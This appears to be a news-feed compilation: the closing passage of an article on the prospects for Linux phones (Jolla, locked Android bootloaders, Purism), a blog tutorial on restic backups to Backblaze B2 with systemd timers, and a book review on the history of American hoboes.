However, there are reasons to believe that there is quite a bit of pent-up demand for mobile Linux, and it only requires the right kind of promotion and a company with a credible track record to unlock it. Ironically, the company demonstrating that people still want to use Linux phones is tiny Jolla , which has somehow managed to survive over the years.

The Finnish engineers who used to work on Nokia’s MeeGo founded their own company named Jolla Oy in 2011 to keep developing that code as Sailfish OS. They took the FOSS parts of MeeGo and added their proprietary Silica interface based on Qt QML , which imitates the Swipe UI that Nokia had developed for Meego on the N900/N9 . They also developed their own proprietary AlienDalvik to run Android apps inside Linux. Jolla deserves credit for developing libhybris and helping to maintain much of the code developed by Nokia, including the oFono telephony library and the Maliit virtual keyboard. Remarkably, the small Finnish company managed to survive nearly going bankrupt in late 2015, when it cancelled its crowdfunded Jolla Tablet , which caused many of its customers who preordered to lose their money. It split off its hardware operations into a separate company named Jolla-Devices , which sells now Sony smartphones with Sailfish OS preinstalled to the European market, plus Volla Phones with Ubuntu Touch and Pixels with GrapheneOS.

After killing off the original company in 2024, because it was majority owned by Russian investors, who were politically toxic due to the war in Ukraine, Jolla reemerged under a new company named JollaBoys that bought the old company’s assets from Jolla Oy. The new Jolla company has returned to the business of selling hardware. Jolla announced its Jolla C2 Community Phone in May 2024 , and started delivering them two months later , which helped reestablish the credibility of the company. When Jolla started taking preorders for its new Jolla Phone on December 5, 2025, it sold out its crowdfunding goal of 2000 phones within the first 48 hours and 5000 phones within the first week. People were pre-ordering the Jolla Phone without having seen any reviews of the phone and not even knowing what processor it would contain. The phone, which initially cost $499 and now costs was €679, was marketed as containing 12GB RAM, 256GB storage, a user-replaceable battery and a physical privacy switch. Jolla’s advertising for the phone clearly struck a chord with European consumers, which proclaimed it to be a “Do It Together (DIT) Linux phone, shaped by the people who use it.” The Finnish company emphasized the independence of the phone from the rest of the mobile phone industry, stating on the order page: “The Jolla Phone is not based on Big Tech technology. It is governed by European privacy thinking and a community-led model.”

Jolla has sold 15,000 units of its phone as of August 2026 just by taking pre-orders for production batches from its web site, and it probably could have sold far more units if it had paid for advertising, expanded beyond the European market, and kept the phone in stock, so customers didn’t have to wait months for the next production batch. Clearly, there is an untapped market of people who are dissatisfied with the reigning Android/iOS duopoly.

The mobile industry is shutting down the AOSP alternative

Today the use of Linux is growing on the desktop. Many people are installing Linux on their PCs, because they have become disgusted by how Microsoft has turned Windows into an advertising platform for surveillance capitalism and a vehicle for AI slop. Rather than buying new PCs, a growing number of people have decided to install Linux, because support for Windows 10 has ended and they can’t upgrade their old PCs to Windows 11 due to Microsoft’s arbitrary TPM restrictions.

Likewise, many people are equally disenchanted with Android and iOS on their phones. More people have grown distrustful of the surveillance capitalism which undergirds the Android market and the restrictions and rising prices of Apple’s “walled garden” on the iPhone, yet the options to escape the smartphone duopoly keep shrinking. In the past, people who wanted to gain some control over their digital lives could unlock the bootloader on their phone and install an AOSP derivative such as LineageOS, /e/OS, CalyxOS or GrapheneOS, however the mobile phone industry is increasingly shutting off this escape valve.

Every year there are fewer Android phone models on the market which allow the bootloader to be unlocked. The rise of Chinese brands, which now control roughly 60% of the global smartphone market, has driven many of the traditional phones brands out of the market which did allow their bootloaders to be unlocked. Many of the phone brands that were mod-friendly, such as LG, BQ, LeEco, WileyFox, Essential and Razer, are now gone from the market, and other mod-friendly brands like Sony and HTC now have so few sales that they are no longer relevant in the global smartphone market. Huawei stopped allowing its bootloaders to be unlocked in 2018. In the last couple years, Samsung, ASUS and Realme all followed Huawei’s bad example and no longer allow their bootloaders to be unlocked. Xiaomi, which rose to fame as a mod-friendly brand, has recently implemented so many restrictions to obtain its unlock codes , that it is unlikely that modders will bother porting custom ROMs to future Xiaomi models.

As noted in my article on LineageOS statistics , the brands which have good policies for bootloader unlocking has shrunk from 42.5% to about 7% of the global smartphone market over the last couple years. The brands which allow their bootloaders to be unlocked (without major restrictions like Xiaomi) only sold about 87 million phones in 2025, including Lenovo/Motorola ( 60M ), Google ( 12M ), OnePlus ( 11.6M ), Nothing ( 2M ), GigaSet ( >1M ), Sony ( 400k ), Fairphone ( 145k ), SHIFT ( 10k ), Teracube, Volla and Brax. Together those brands only represent 7% of the 1245.5 million total smartphones sold in 2025.

However, that is an overestimate, since most phone models never get good custom ROMs made for them. A good portion of Motorola and Google phones are sold through carriers, and many carriers like Verizon don’t allow their phones to ever be unlocked, even if they are no longer under contract. MediaTek Dimensity and UNISOC Tiger processors have gained market share in recent years, and those chipmakers don’t publish the source code for their kernels like Qualcomm does for its Snapdragon processors. A few brands that use MediaTek SoC’s, such as Motorola, Xiaomi, Volla, Gigaset, TeraCube and Brax, do publish their kernel code, but that code for many other MediaTek phones will never get published, nor will custom ROMs be made for them. UNISOC processors are basically black boxes for the modding community. The bootloaders of all phones with Apple A-series, Huawei Kirin and recent Samsung Exynos processors are locked, so the modding community is restricted to just Qualcomm Snapdragon, Google Tensor and some MediaTek Dimensity processors. Motorola and Xiaomi have switched most of their budget model lines from Snapdragon to MediaTek Dimensity processors, so they are harder to mod.

Aside from the Motorola Moto G05, which was released in Jan 2025 and replaced 8 months later by the G06, there has not been a single budget phone released by a major phone maker in 2025 or 2026 that has gained official support by LineageOS. Gaining official LineageOS support is important, because many of the other custom ROMs are based on LineageOS and only port to its officially supported models. Just looking at phone models with official LineageOS support which allow their bootloaders to be unlocked, only about 20 million or 2% of smarphones sold each year are good for installing custom ROMs.

The situation is about to get much worse. Sadly, Oppo just announced that it will pull its OnePlus brand from the North American and European markets. OnePlus phones will still be sold in India and China (where the bootloader can be unlocked if the user presents an official Chinese ID card), but OnePlus is essentially gone for the modding community. Nothing, which was a rising star in the modding world, has been losing sales. The London-based company denies rumors that it will pull out of a third of the countries where it currently sells phones, but confirms that it plans to cut 100 jobs, which comprise 12% of its workforce. At any rate, none of the phones which Nothing has released in the last two years have gained official LineageOS support.

Samsung has been making it more and more difficult to mod its phones over the last decade, so the Korean company’s decision to lock the bootloader for all its phones getting its ONE UI 8 interface wasn’t a surprise, but Xiaomi’s decision to start restricting its bootloader unlock codes was a major blow for the modding community. The only major global brand left for modding is Motorola, but there are only unofficial ports available for recent Motorola models, meaning that some things don’t work correctly or security patches aren’t being provided. Motorola promises to launch phones with GrapheneOS in 2027, but they will be flagship models which probably cost over $1000 and be limited to a few select countries.

Aside from the Motorola Moto G15 (released in December 2024), people are unlikely to find a new phone where they can install an official LineageOS port for sale in Africa, most of Latin America (except Mexico) and most of Asia (except India, Japan, Taiwan, Singapore and Malaysia). The only option to run a custom ROM in most of the world is to buy a used Motorola or Xiaomi phone from a couple years ago, such as the Moto G (2024), Moto G32, Moto G34, Moto G84, POCO F5, POCO F5 Pro, POCO F6 Pro or Redmi Note 13 Pro. There are more recent phones like the Moto Edge 70 , which have unofficial LineageOS ports, but it is a gamble if they will ever be officially supported by LineageOS.

As Google has pushed phone makers to support their phones for longer, many companies have decided to collect more personal data from their users for better targeted advertising and for training artificial intelligences. The smartphone industry is moving away from a business model based on planned obsolescence toward one based on surveillance capitalism, and the phone makers don’t want their users to opt out of the system, so they have removed the option to unlock the bootloader and made it harder to gain root access. That way they can recoup the cost of providing more years of support for their phones by monetizing their users’ data.

In addition, Google has made it harder to maintain custom ROMs, because it has moved more and more functionality from AOSP into its proprietary libraries and services (starting with Android 4.1 in 2012), and largely abandoned the development of many of the free/open source apps in AOSP in favor of its proprietary apps. Starting with AOSP 16 in 2025, Google stopped including the device trees and driver binaries for Pixel devices in AOSP, so ROM developers no longer had target devices, where they could easily test out and adapt the latest versions of AOSP on running hardware. Now custom ROM developers have to do painful trial and error to make the device trees for Pixel phones just like all the other phone brands. Google also squashed the kernel’s commit history, which makes it very difficult for ROMs like GrapheneOS to create their own custom kernels, because they can’t easily take new features, bug fixes and security patches from Google’s kernels.

Given how the smartphone industry is locking down their hardware and pushing business models that are inimical to users’ privacy, there is increased opportunity for Linux phones to be marketed to people who want to escape the Android/iOS duopoly and surveillance capitalism.

Three types of Linux phones are now possible

In the past, it was much harder to bring a Linux phone to market, but now there are three viable types of Linux phones that can be brought to market, and all of them have better prospects than in the past. The first type is the pure Linux phone which runs a Linux kernel, like the Librem 5, Liberty, PinePhone and PinePhone Pro. These phones previously didn’t have the processing power to offer the functionality that people expect in a smartphone. They often lacked components such image signal processors, audio digital signal processors, hardware video encoders, Vulkan graphics, neural processors and encryption engines, or they lacked the FOSS drivers to support those components. The RK3588S and the upcoming RK3668 , however, will give pure Linux phones the processing power to be viable alternatives to Android and iOS phones for the first time.

The pure Linux phone is the riskiest type because it requires the most investment in engineering the hardware. Companies can’t just modify a reference phone design from Qualcomm or MediaTek or call up a phone ODM and ask them to modify one of their existing designs. They have to work with a design house or ODM that has some experience with radio frequencies to custom design a phone with 2 to 3 times more components than a standard smartphone. This means many iterations of the circuit board to get it right, and some kernel work to use all those different chips. It will take a long time to get to market, which can lead to customer complaints and reputational loss if using crowdfunding to finance the dev work.

The benefit of the pure Linux approach is that it allows for true hardware kill switches that cut the current to separate components, rather than the use of pins on an integrated mobile SoC or software to turn off the WiFi/Bluetooth, cellular modem and GPS/GNSS. The second benefit is the ability to select components that have free/open source drivers, which allows for greater software freedom and more transparency to address security and privacy concerns. The use of proprietary blobs in the drivers often prevents the kernel from being upgraded because the blobs are often only compatible with a specific kernel version number, which allows the chipmakers to dictate the lifespan of devices. Another benefit of not using a reference design from an SoC maker or an ODM is the phone maker has full control over the design and can publish the schematics and board views for the circuit boards, so the hardware is as free as the software.

In the past, Qualcomm didn’t produce powerful Internet of Things processors with Linux support, but now it is possible to build a good Linux phone based on an Internet of Things processor, like the QCM6490 or QCM8850 with an integrated cellular modem. These Dragonwing processors are not as up-to-date as the latest Snapdragon processors, but most of them receive 10 years or 15 years of software support, and many of them will eventually get partial support in mainline Linux, so they can live on with community support after they are no longer supported by Qualcomm.

The third kind of Linux phone is built on an integrated mobile SoC, which runs a standard Linux stack on top of an Android kernel using libhybris to translate glib calls to Android’s Bionic. This used to not be a good option because Android SoC’s were not supported long enough for the long development cycles and lower annual sales of Linux phones, but now it is possible for the high-end processors that are getting 8 years of software support from Qualcomm and MediaTek.

This approach is the most economical way to bring a Linux phone to market, since many phone ODMs already have reference models available and are willing to work with phone sellers to tweak those models to their specifications. It is not impossible to work with an ODM to add privacy switches to a design, as Furi Labs demonstrated with its FLX1, but it takes longer to get a custom design to market, so it is important to select an SoC that gets 7 or 8 years of software support, so the phone will enjoy a reasonable lifespan.

It is no longer necessary for Linux phone companies to expend huge amounts of capital in developing mobile Linux, because there are now three good mobile interfaces—Phosh, Plasma Mobile and Lomiri—which offer a reasonably complete complement of applications, so hardware companies don’t need to risk bankruptcy developing the software like before. Because Phosh and now Plasma Mobile are based on a well-supported desktop stack and convergent applications, they will require much less work to maintain and it is easier and less costly to keep providing software updates for the phone. Companies offering Linux phones will still need to hire developers to work on things like power management and camera support, but they don’t have to bet the farm like Purism did with the Librem 5 or provide no software support as PINE64 did with the PinePhone and PinePhone Pro.

Different approaches to designing a Linux phone
Approach SoC CPU / GPU Battery life Support HW dev SW dev Price (1-5) Notes
Community Linux RK3566 Bad Bad Forever hard none 1 software outsourced to the community, poor quality convergence
Expensive Linux RK3588S Sub-optimal Poor Forever very hard very hard 5 real hardware kill switches, convergence possible
Mid-range blobbed Linux QCM6490 Good Sub-optimal till 2035 easy hard 4 lots of blobs, convergence possible
Economic Android kernel Snapdragon 4/6 Gen 4 OK Good 4 years easy moderate 2 lots of blobs, no convergence
Mid-range Android kernel Snapdragon 7 Gen 4 Good Good 8 years easy moderate 3 lots of blobs, no convergence
Expensive Android kernel Snapdragon 8 Gen 5 Stellar OK 8 years easy moderate 5 lots of blobs, convergence possible

This reduction in software development costs, however, probably won’t result in more economical Linux phones. The shorter software support for the QMC4490 and the mid-range and low range Snapdragon and Dimensity processors rules out the making of an economical Linux phone. It is possible to make an upper mid-range Linux phone based on a Snapdragon 7 or Dimensity 8000 series processor, but it won’t support video out via DisplayPort Alt Mode over USB-C, so it can’t be used as a convergent PC, which is a major selling point for Linux phones. Given that the QMC6490 does support DisplayPort Alt Mode, it is probably the best option for making an upper mid-range phone.

Companies like Jolla, Furi Labs, Volla and Brax may choose to continue making mid-range Linux phones, but they will likely suffer from the same problem as the FLX1 and C2, where the Android kernel is unsupported and no longer getting security updates, so it is better to move up to a more expensive SoC that gets 8 years of support. Ideally, these companies will stop using MediaTek processors, and select Snapdragon processors that get partially supported in mainline Linux, so people can run a distro like Nura on them after they are no longer supported.

The real barrier holding back Linux phones is the companies

Now that the available SoC’s and software are no longer holding back the making of compelling Linux phones, the real barrier to creating a viable Linux phone market are the companies to make and sell those phones. There aren’t many companies with the experience and passion to make Linux phones, which historically have lost money.

PINE64 recently announced that it is pausing production of most of its devices due to the high prices of RAM and eMMC. Essentially PINE64 is admitting that it can’t raise the price of many of its products, because they don’t have the needed software support, so many people won’t pay elevated prices for them. It appears unlikely at this point that PINE64 will change its business model to pay for software developers to work on the kernels for its hardware, nor is it repairing its relationship with the distributions and volunteer developers who have abandoned the company, so it is unlikely to ever produce the rumored PinePhone 2 using the RK3566. In theory another community-based Linux hardware company could arise, that charges a bit more so it has the necessary funds to pay developers to work on the kernel support for the hardware, but it appears highly unlikely that another community-based hardware company like PINE64 will appear.

In contrast, Purism is clearly planning to produce a second version of its phone. In its July 2026 newsletter, Purism stated that it “is in the early stages of planning the Librem 5 v2 and Liberty 5 v2.” It is preparing a “crowdfunding campaign in the coming months” to “gauge customer interest and traction, which will help fund the production of our second version.” The problem is that Purism’s public reputation has been stained by its refusal to refund the Librem 5 backers who cancelled their orders. Refunding the 600 customers who are still waiting for their Librem 5 refunds would do a lot to restore the company’s public reputation, and it would cost the company less than $400k. Without taking that step, it seems unlikely that Purism will be able to crowdfund the “over $2 million” that it projects will be needed to produce its next Linux phone. Maybe Purism can charge a lesser amount (such as $99) to pre-order the phone, and then use those numbers to raise capital privately to develop the phone.

At any rate, the time and cost of producing the Librem 5 v2 will be much less than the first version of the phone, because Phosh and its applications have already been developed and the mainline Linux driver support for the RK3588S is already in a good state due to the last four years of work by Collabora. Hopefully, Purism will either provide funding or developers to help Collabora get the ISP and hardware video encoding working.

The challenge for Purism is that it also needs to finance the development of its next generation of Librem 14 notebook, Librem 11 tablet and Librem Mini. The Librem 11 and Mini are rebadged ODM designs, so they don’t require as much work, but the Librem 14 is a custom design, which requires quite a bit more work and financing to create. In addition, Purism reported in its July newsletter that it has been pre-approved to get over $50 million in funding from the CHIPS Act to develop a Librem Core-V processor based on the RISC-V architecture, which will be a huge undertaking for the tiny company which doesn’t have any prior experience in chip design. Presumably, Purism will have to raise some matching funds to get the government funding for its chip project. In other words, many projects will be competing for Purism’s attention in the future, and the Librem 5 v2 could be neglected and postponed in favor of other products.

Presumably Dawndrums will launch a crowdfunding campaign once it has a working prototype of its RK3588S-based phone to show to the public, but the company based in Tunis has been very tight lipped about its future plans to bring the phone to market. There has been no news from Furi Labs about a new phone model to follow the FLX1s+. The implementation of Ubuntu Touch on the BraX3 phone has been stalled for months , and it appears that Brax Technologies is depending on the UBports community to finish the porting work. Volla Phone continues to offer Ubuntu Touch as an alternative operating system on its phones, but the German company’s primary focus is on developing its own Volla OS , which is an AOSP derivative oriented toward privacy.

Jolla is making the right moves to create a viable Linux phone market. The Finnish company says that it plans to move to mass production of its Jolla Phone, so the phone will be in stock, and to offer the phone to the North American market. However, many in the Linux community will be reluctant to embrace Jolla’s phones, because of the proprietary software in its Silica interface and its AppSupport (aka AlienDalvik) to run Android apps. People who believe in free and open source software won’t want to buy a phone from a company that has been violating the GPL 2.0 license by not published the kernel code for its Jolla C2 and Jolla Phone. In addition, these phones use UNISOC and MediaTek processors that don’t have any mainline Linux support, and they will probably have short lifespans, since their kernel are unlikely to ever be upgraded.

A critical factor in the success of Linux phones is publicizing the phones to attract the niche customers who care about Linux, software freedom, privacy or security. Liberux appears to have failed because it did such a poor job of publicizing its future NEXX phone and didn’t attract enough crowdfunding. Furi Labs similarly has done a very poor job of publicizing its phone, so that most Linux enthusiasts have never heard of the phone. Likewise, Dawndrums has done a very poor job of publicizing it development work on a future RK3588S phone. In contrast, Jolla has very effectively used social media to market its Jolla Phone to European customers.

There are several dozen companies that sell Linux PCs, which could potentially expand into the Linux phone market. Most of those companies, however, don’t have experience in the design of custom hardware. Most of them use standard notebook designs from one of the ODM’s that make specialty notebooks such as Clevo or Tongfang. Most of these companies also don’t have much experience doing kernel work, so they are probably better off just using a standard Android design provided by a phone ODM and installing Linux on top of Halium, so they can use a well-tested Android kernel and drivers.

There are also a number of companies that make Linux single board computers (SBC’s), who could potentially jump into the Linux phone market. They have more experience in working with Chinese and Taiwanese companies to design and produce custom hardware. They are better equipped to undertake the engineering challenges of entering the Linux phone market, but most of them do a poor job of engaging the community. Many companies which sell Linux SBC’s don’t have public forums for their customers and do a poor job of using social media and online advertising to promote their products.

Public opinion surveys show that people are increasingly aware that they are losing their privacy online. Ipsos polls found that 79% of global respondants and 84% of American respondants express worry about their online privacy. A Malwarebytes survey found that 89% of consumers are concerned regarding corporate and AI data misuse. 62% of Americans in a YouGov poll report worrying about how much personal data third parties have about them online. If Linux phones can be created that provide the same functionality and ease of use as Android or iOS phones, they could tap into that huge potential market of consumers who wish to preserve their privacy online. In order to appeal to mainstream users, Linux phones will need to support the usage of Android apps through Waydroid or a similar solution. In the same way that Murena and iodé sell AOSP phones which block third party trackers, Linux phones need to incorporate similar software.

The conditions may be ripe for Linux phones, but it is unclear whether the companies selling Linux phones will take advantage of those conditions to create a viable alternative to the current Android/iOS duopoly. For the sake of software freedom, online privacy and the greater longevity of mobile devices, a concerted push is needed to promote mobile Linux.

3-2-1 Backup Strategy with restic and Backblaze B2

Lobsters
chuck.is
2026-10-12 00:21:09
Comments...
Original Article


Implementing a 3-2-1 Backup Strategy with restic and Backblaze B2

Published: 2026-10-09

In order to follow a proper 3-2-1 backup strategy, you should have three copies of your important data: two local on different media types, and one off site. For local, I have a DAS with two 14TB drives configured in a RAID 1 array 1 and a RPI5 with a 4TB drive (my most important data is around 1.5TB). For the off site copy, I opted to utilize Backblaze's B2 Cloud Storage and restic. Backblaze is a cloud storage provider, while Restic encrypts and chunks the files before upload. Restic is responsible for uploading, encryption/decryption, and deduplication.

Set up a Backblaze B2 bucket

To begin, I had to configure Backblaze.

  1. Create a Backblaze account
  2. Create a bucket (I called mine restic-ganymede)
  3. Under application keys, make a key. Be sure to copy the keyID and applicationkey as they're only shown only once. I keep this in my password manager notes for Backblaze "B2 Account ID and Key".
  4. In the bucket, select "Lifecycle Settings" and choose " Keep only the last version of the file" or pruned chunks will linger and you end up paying for it.
  5. Add a payment option, otherwise the backup will fail after the initial 10GB free tier.

Set up restic on the local machine

Now for the local configuration. Create the directory /etc/restic sudo mkdir /etc/restic . /etc/ is the conventional spot for system-wide configs. This matters because the systemd service runs as root, not as the user. Create b2.env in this new directory and add the following:

B2_ACCOUNT_ID=your_account_ID
B2_ACCOUNT_KEY=your_applicationKey
RESTIC_REPOSITORY=b2:restic-ganymede:ganymede
RESTIC_PASSWORD_FILE=/etc/restic/password

Create a password with openssl rand -base64 32 | sudo tee /etc/restic/password . Be sure to store the password in a password manager - and even consider printing this out. This also goes into my password manager notes for Backblaze "restic repo encryption key". If this password is lost, you will not be able to decrypt the data. Then ensure the permissions are correct with sudo chmod 600 /etc/restic/password /etc/restic/b2.env .

Initiate the first run

Now intialize the first run:

sudo -i
set -a; source /etc/restic/b2.env; set +a
restic init
restic backup /path/to/photos /path/to/documents --verbose

For me, this took about 50 hours on my cable internet connection that tops out at 60Mbps upload to upload 1.2TB of data. Restic encrypts everything before it's uploaded to backblaze. B2 holds only opaque encrypted blobs so even if this data is compromised, nobody will be able to decrypt it. That said, if you lose your password, the data is not recoverable.

Automate Restic

Once completed, the restic systemd service can be automated to run on a schedule. I've opted to do nightly at 3am. Run sudo vim /etc/systemd/system/restic-backup.service and add the following:

[Unit]
Description=Restic backup to B2
After=network-online.target
Wants=network-online.target

[Service]
Type=oneshot
EnvironmentFile=/etc/restic/b2.env
ExecStart=/usr/bin/restic backup /path/to/photos /path/to/documents
ExecStart=/usr/bin/restic forget --keep-daily 7 --keep-weekly 4 --keep-monthly 12 --prune
Nice=10
IOSchedulingClass=idle

Then set up the time with sudo vim /etc/systemd/system/restic-backup.timer and add the following:

[Unit]
Description=Nightly restic backup

[Timer]
OnCalendar=*-*-* 03:00:00
RandomizedDelaySec=1800
Persistent=true

[Install]
WantedBy=timers.target
Enable the services with the following:
sudo systemctl daemon-reload
sudo systemctl enable --now restic-backup.timer
sudo systemctl list-timers restic-backup.timer

Disaster Recovery

Lets say my home office goes up in flames and both my RAID1 array and Pi5 are destroyed. How do I recover? I'd start by installing restic and recreating the files: /etc/restic/password with the restic password and /etc/restic/b2.env with the Backblaze details (B2keyID, applicationKey, the bucket name, and the location of the restic password file). These details I've saved in my password manager. Both files get chmod 600. Then source the env file with set -a; source /etc/restic/b2.env; set +a and run restic snapshots to ensure it's accessible.

Create the directory where the restore will go, like sudo mkdir -p /mnt/recovery , and then restore with restic restore latest --target /mnt/recovery . Files land under their original path inside the target, so I'd see something like /mnt/recovery/mnt/ganymede/ so plan accordingly.

It's also probably helpful to occasionally run restic check and do an actual test restore. I'd hate to have my home burn down then also discover that I lost all my important data!

And with that said, I can now sleep a little easier at night.

Thanks for reading. Feel free to send comments, questions, or recommendations to [email protected] .


  1. I don't consider the duplication from the RAID array to be part of the 3-2-1 backup strategy since both disks hold the same live filesystem and a deletion or corruption hits both at one. RAID protects against drive failure. ↩

Boxcar to Nowhere

Portside
portside.org
2026-10-12 00:02:30
Boxcar to Nowhere Ira Mon, 10/12/2026 - 00:02 ...
Original Article

Reviewed:

The Hobo: A History of America’s First Climate Migrants
by Robert Suits
Princeton University Press, 289 pp., $29.95

A hundred years ago, it seemed as if everyone wanted to be a hobo, at least if you were listening to the radio. Carl Sandburg’s 1927 American Songbag featured a whole section of hobo songs presenting the bum as a beau ideal. Children, most of whom would never see the inside of a boxcar, grew up singing “Hallelujah, I’m a Bum!,” recorded first by Harry McClintock in 1928 and repopularized by the New Christy Minstrels in the 1960s. Along with loads of other songs, it celebrated the paradoxical appeal of the rails and the open road: freedom allied with loneliness and destitution. John Lee Hooker’s “Hobo Blues,” Jimmie Rodgers’s “Hobo Bill’s Last Ride,” and Merle Haggard’s cover of Rodgers’s “Hobo’s Meditation” would become landmarks of the genre. The album cover of Haggard’s I’m a Lonesome Fugitive (1967) depicts him climbing aboard a freight car, a look of consummate fulfillment on his face.

Dreams of a tramp utopia, once termed “hobohemia,” produced classics of Americana.

Recorded in the 1920s by McClintock, the rollicking hobo anthem “Big Rock Candy Mountain” envisions an itinerants’ paradise where cigarette trees bloom and streams of alcohol trickle down the rocks. It has since been recorded or performed by dozens of folk, pop, and country musicians, including Pete Seeger, Burl Ives, Bing Crosby, Tex Ritter, Johnny Cash, Roger Whittaker, the Highwaymen, and the Nashville string band Old Crow Medicine Show. Its sly salute to sin has become a hallmark of this particular form of counterculture: Wallace Stegner named a novel after the song, and it features prominently in the Coen brothers’ satirical adaptation of the Odyssey set in the American South, O Brother, Where Art Thou? (2000), itself an homage to an earlier hobo film, Preston Sturges’s 1941 Sullivan’s Travels .

The contradictory nature of the hobo, a character without home or possessions who embodied good-natured liberty and a gap-toothed joie de vivre, gave rise to a persistent sense of envy. As a result, Woody Guthrie’s fictionalized 1943 autobiography, Bound for Glory , exaggerated the extent of his riding the rails, and he would lean heavily on the bindle stiff gospel throughout his life and career, disappearing for weeks at a time after telling his wife he was going out for cigarettes. In one song he claimed, “I ain’t got no home in this world anymore”; in another he described the afterlife of a “Backdoor Bum”; in yet another he denounced “Old Man Trump,” the president’s father and Guthrie’s landlord in Brooklyn, for “racial hate.” His most famous song, “This Land Is Your Land,” remains an impassioned denunciation of private property and a hymn to the “freedom highway,” its pointed lyrics encouraging wanderers to flout the law:

As I went walking I saw a sign there,
And on the sign it said “No Trespassing.”
But on the other side it didn’t say nothing.
That side was made for you and me.

Shortly after arriving in New York City in 1961, Bob Dylan cast himself as Guthrie’s protégé, devouring Bound for Glory “cover to cover like a hurricane” and identifying so strongly with his mentor that he told a public relations flack at Columbia Records, his newly acquired label, that he’d made his way across country to the Big Apple in hobo fashion as if it were a career qualification. His 2004 memoir recalls the exchange:


“How did you get here?” he asked me.
“I rode a freight train.”
“You mean a passenger train?”
“No, a freight train.”
“You mean, like a boxcar?”
“Yeah, like a boxcar. Like a freight train.”
“Okay, a freight train.”

Dylan was a latter-day fabulist in the mold of Mark Twain, calling himself a “migrant worker” and claiming that he’d once worked for a circus. In fact he rode to New York in the backseat of an acquaintance’s ’57 Impala. Yet in his early days his impulse to establish street cred as a tramp was so intense that he told the folk singer Ramblin’ Jack Elliott, who suspected the younger singer of borrowing from Guthrie, that he had “learnt…songs from various hoboes he met on the road.” Elliott drily noted, “I didn’t argue about it.”

These colorful anecdotes, alongside the hobo songs Dylan began writing or performing (“I Am a Lonesome Hobo,” “Only a Hobo,” and “Freight Train Blues”), are reflections of the conflicted national character already present in Walt Whitman’s “Song of the Open Road”—“Afoot and light-hearted I take to the open road…the world before me”—and of course “Song of Myself,” our euphoric yawp to individualism, independence, self-reliance, and the worship of oceanic open spaces:

I tramp a perpetual journey (come listen all!)
signs are a rain-proof coat, good shoes, and a staff cut from the woods….
Not I, not any one else can travel that road for you
You must travel it for yourself.

As with the troubadours who followed, the Good Gray Poet hints that the rewards of the road and its journey to self-awareness may come at the cost of poverty and isolation.

High-spirited songs often cast hobo life as upbeat and fancy-free, but literary works on the theme were likely to involve grim accounts of penury and abuse: in Jack London’s 1907 memoir, The Road , a forerunner of Jack Kerouac, he describes getting picked up for vagrancy in Erie County, New York, and subsisting on bread and water while serving on a chain gang. John Steinbeck’s Of Mice and Men (1937) and The Grapes of Wrath (1939) were based in part on a series of articles he wrote in 1936 for The San Francisco News , “The Harvest Gypsies,” about the lives of migrant laborers who followed the harvest during the Great Depression. Capturing the dangers faced by these antiheroes as they dodged railroad police wielding billy clubs or ranch managers with guns, these accounts immersed the reader in the subjective sensory musk of the experience: the smoke of barrel fires, the pungent character of the slang, the desperate sweat of a Yankee Doodle strain of nostalgie de la boue .

What these distinctly American stories do not address, however, are the hard-to-discern economic and environmental forces that drove people from their homes and onto the rails and roads in the first place. Historians have long identified the aftermath of the Civil War as the origin, when homeless or wounded veterans looking for employment formed a “great army of tramps.” Some reach back further, interpreting colonial America as a “surplus” population from the old country, sent to the New World as a “solution to…the homelessness crisis of Tudor and Stuart England.”

The Dust Bowl and the Great Depression have been seen as a major impetus behind the mass migrations of the 1930s, but less attention has been paid to the depression and the dust bowl of the 1890s and the wave of farm failures they produced, their boom-and-bust years signaling catastrophes to come. For that we have Robert Suits’s The Hobo: A History of America’s First Climate Migrants , a modern reassessment of the long road this country has traveled toward climate disaster and homelessness. In this punctilious work, we learn that hoboes were far from the simple stereotypes of the carefree, careworn, or hapless wanderers of song and story. They were, in fact, some of the hardest-working people out there.

According to Suits, the idea of the hobo (the etymology of the word is uncertain) emerged as soon as there were coal- or steam-powered engines. During boom years, migrant workers provided the muscle to serve the massive industrialized agriculture machine that settlers began busily erecting in the Midwest and the Great Plains as soon as they arrived on the scene. Manual labor was essential in what he calls our “climatically unstable hinterlands,” largely because early forms of mechanization, such as horse- or steam-powered threshing machines, left gaps in the system that could be filled only by human hands.

During good years, it was hoboes who were reaping, binding, winnowing, and threshing the American wheat crop. The low population density of the Dakotas, Kansas, and Oklahoma meant there were not enough farmers or resident laborers living in the Great Plains to perform necessary work. While some estimates put the number of homeless people in the early 1900s at half a million, from 1870 to 1930 there were between 100,000 and 200,000 itinerant workers—and this at a time when “migrant work, homelessness, and radicalism intertwined,” Suits writes. Around 1910, 100,000 were laboring in the intensive wheat-growing areas of Minnesota, the Dakotas, and Kansas while tens of thousands worked as lumbermen in the North Woods of Wisconsin and Minnesota. Thousands more worked in mines in Illinois, in the Upper Peninsula of Michigan, and throughout the West. There were few in the South, where white supremacy held sway and labor was supplied mainly by sharecroppers. Hoboes were largely men, although 3 percent were women performing domestic labor, cooking and sewing for agricultural crews or in lumber camps. Small numbers of women also worked wheat harvests—a fact that male journalists found surprising.

Hoboes defined themselves as homeless, migratory, and seeking work. “Chasing the harvest,” they called it, looking to distinguish themselves from “tramps” or “bums” who eschewed labor and were perhaps stationary, hunkering down in towns or cities and presumably begging or stealing to get by. Communities and property owners paid little attention to such distinctions, even as employers desperate for migrant labor begged in newspaper advertisements for hands to bring in the crops or work coal seams.

The moment migrant laborers were no longer wanted, communities turned on them. Suits tells the illustrative story of the hoboes’ shifting fates in the Dakotas and the Northern Plains of the 1890s. The first year of the decade was relatively poor for wheat; 1891 was a record harvest. The following year promised to be even better, with grain fattening on reliable rains resulting from atmospheric lows and with little in the way of hail, floods, or damaging winds. In 1892 the bumper crop was so heavy that employers began panicking at the need for hands to haul it in.

Farmers greeted trains that year, offering “harvest hands” more than two dollars per day plus room and board (women were offered only two dollars a week to feed the men), and for the first time the railroads themselves reduced or waived fares on major trunk lines in an attempt to lure “teachers, businessmen, and even circuit court judges”—hoping to abet the transport of lucrative carloads of grain. That year there were barely enough workers to complete the harvest before it spoiled. Farmers and their hobo workforce produced 70 million bushels of wheat, “one for every citizen in the United States.”

